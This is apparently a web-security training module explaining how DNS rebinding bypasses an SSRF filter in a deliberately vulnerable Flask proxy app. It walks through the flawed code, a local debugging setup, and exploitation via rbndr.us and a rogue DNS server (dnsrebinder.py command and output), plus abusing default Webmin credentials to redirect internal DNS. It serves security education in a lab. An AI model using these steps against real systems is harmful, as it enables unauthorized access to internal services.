Modern Web Exploitation Techniques  

DNS Rebinding: SSRF Filter Bypass


After exploring how to bypass them with techniques like localhost obfuscation, DNS resolution, and HTTP redirects, let us bypass flawed SSRF filters using DNS rebinding.


Code Review - Identifying the Vulnerability

In this section, we will analyze D-Proxy, a web application that acts as a URL proxy; it allows us to specify any URL, and then it fetches and renders it for us:

Suppose we obtained the source code of D-Proxy via an exposed backup file; while analyzing it and hunting for vulnerabilities, we will keep everything discussed in the last section in mind. D-Proxy has two endpoints, of which one is only accessible locally, /flag:

@app.route('/', methods=['POST'])
def index():   	
	url = request.form['text']
    parser = urlparse(url).hostname
    info = socket.gethostbyname(parser)
    global_check = ipaddress.ip_address(info).is_global
	if info not in BLACKLIST and global_check == True:
        return render_template('index.html', mah_id=requests.get(url).text)
    elif global_check == False:
        return render_template('index.html', mah_id='Access Violation: Private IP Detected')


@app.route('/flag')
def flag():
    # only allow access from localhost
    if request.remote_addr != '127.0.0.1':
            return 'Unauthorized!', 401
    return send_file('./flag.txt')

Under the POST request with the function named index, the web application resolves the domain we provide and blocks all internal IP addresses.

However, the web application resolves the domain name in the index() function twice, once by the socket.gethostbyname function and another by the requests.get function from requests, in case global_check is True. This makes the filter vulnerable to DNS rebinding, enabling us to bypass it with the following methodology:

  • We need to provide the web application with a domain under our control so that we can change its DNS configuration; for this section, suppose we own the domain attacker.htb and can change its DNS configuration. We will configure the DNS server to resolve attacker.htb to any IP address that is not blacklisted, such as 1.1.1.1, and assign it a very low TTL.
  • When we provide the web application with the URL http://attacker.htb/flag, it will resolve the domain name to 1.1.1.1 and verifies that it is not an internal IP address; since the function assigned to global_check evaluates to True, global_check becomes True. The if statement has both conditions evaluating to True, therefore allowing us access to the render_template function.
  • Subsequently, we will rebind the DNS configuration for attacker.htb to resolve to 127.0.0.1 instead of 1.1.1.1. When attempting to get the flag in the flag function, and because of the low TTL assigned to attacker.htb, the web application will resolve attacker.htb again.
  • At last, due to the DNS rebinding, the second DNS resolution will resolve the domain name attacker.htb to 127.0.0.1 such that the web application accesses the URL http://127.0.0.1/flag and fetches the flag for us.

The timing of such an attack needs to be extremely precise since the DNS rebinding needs to occur between the two DNS resolutions made by the web application. We will discuss how to achieve this in the Exploitation section.


Debugging the Application Locally

After running D-Proxy locally to debug it, we will develop a proof of concept for exploiting the DNS rebinding vulnerability we identified.

First, we will add the domain ourdomain.htb to /etc/hosts and make it resolve to 1.1.1.1:

# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters

1.1.1.1 ourdomain.htb

After the initial resolution of the domain by socket.getbyhostname, we will set a breakpoint before requests.get performs a second resolution.

If we provide D-Proxy, which we are currently debugging, with the URL http://ourdomain.htb:8000/flag, the breakpoint will be triggered. Importantly, this occurs in the application's state after the SSRF filter has resolved the domain (i.e., ipaddress.ip_address(info).is_global). To simulate the DNS rebinding attack, we will rebind the ourdomain.htb DNS entry to 127.0.0.1 in /etc/hosts file instead of 1.1.1.1:

# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters

127.0.0.1 ourdomain.htb

If we continue running D-Proxy, requests.get will resolve the domain name ourdomain.htb again. However, this time, it will resolve to 127.0.0.1 instead of 1.1.1.1 due to DNS rebinding, allowing us to access the protected /flag endpoint:

image


Exploitation

To bypass the SSRF filter via DNS rebinding in the actual web application, we can use rbndr.us, a service that generates a domain name that randomly resolves to the two IP addresses specified:

To achieve our bypass, we can supply the URL http://7f000001.01010101.rbndr.us/flag to the web application. Since the domain name resolves randomly to one of the two IP addresses, we might require multiple attempts as we need the first resolution to resolve to 1.1.1.1 and the second to 127.0.0.1.

A cleaner approach would be running our domain on our own DNS server. We can then conduct the DNS rebinding attack using a simple Python script such as DNSrebinder.

Let us assume we bought the domain thisisthednsrebindingdomain.eu. We need to configure an NS DNS entry for our domain to point to the IP address of our machine. This tells anyone resolving subdomains of thisisthednsrebindingdomain.eu to query our machine.


Exploiting Internal Webapps

Utilizing rbndr.us for DNS rebinding works for web applications with internet connectivity; this approach becomes ineffective when the targeted web apps lack Internet access.

Therefore, an alternative approach is necessary: hosting a personalized rogue DNS server utilizing tools like DNSrebinder or FakeDns. Simultaneously, the DNS IP configuration of the targeted web application must be adjusted, rerouting it to the IP address of the our rogue DNS server.

Frequently, companies establish their own personalized internal DNS servers, alongside various administrative utilities like Webmin, Pihole, PRTG Network Monitor, and Manageengine. If these assets are compromised, we can exploit them to redirect DNS traffic towards our rouge DNS server.

To demonstrate these concepts, suppose we can access a web application vulnerable to DNS rebinding within the victim’s local network called D-Proxy. When providing it with a URL, it fetches and renders its contents for us:

Additionally, there is a Webmin server listening on port 10000, offering the capability to adjust the web application's DNS configuration:

We can access Webmin using the default credentials (admin: <BLANK>), and once logged in, we can modify the DNS IP settings; to do so, navigate to the following path within the Webmin interface:

Networking -> Network Configuration -> Hostname and DNS Client -> DNS Servers

In the DNS Servers field, we will set our attacker's machine IP, where we will host the rogue DNS server:

After making the necessary changes to the DNS IP, the next step is to start the rogue DNS server on the attacker's machine using the DNSrebinder Python script.

[!bash!]$ sudo python3 dnsrebinder.py --domain attacker.com --rebind 127.0.0.1 --ip 1.1.1.1 --counter 1 --tcp --udp

Starting nameserver...
UDP server loop running in thread: Thread-1
TCP server loop running in thread: Thread-2

The arguments we provide for dnsrebinder.py make it run a DNS server that resolves the first query of attacker.com to 1.1.1.1 and all subsequent queries to 127.0.0.1. We can now supply the URL http://attacker.com/flag to the web application to attempt to bypass the SSRF filter and obtain the flag.

The command line output below shows the DNS queries made by the web application. The first query resolved to 1.1.1.1, while the second resolved to 127.0.0.1. This successful bypass of the SSRF filter allowed access to the protected endpoint:

[!bash!]$ sudo python3 dnsrebinder.py --domain attacker.com --rebind 127.0.0.1 --ip 1.1.1.1 --counter 1 --tcp --udp

Starting nameserver...
UDP server loop running in thread: Thread-1
TCP server loop running in thread: Thread-2
Got a request for attacker.com. Type: A
------------------------ Counter for host  attacker.com.   1
---- Reply:
 ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17508
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;attacker.com.                  IN      A
;; ANSWER SECTION:
attacker.com.           0       IN      A       1.1.1.1
Got a request for attacker.com. Type: A
---- Reply:
------------------------ Counter for host  attacker.com.   2
---- Reply:
 ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28417
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;attacker.com.                  IN      A
;; ANSWER SECTION:
attacker.com.           0       IN      A       127.0.0.1
 ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14084
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;attacker.com.                  IN      AAAA

VPN Servers

Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Switching VPN...

PROTOCOL

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next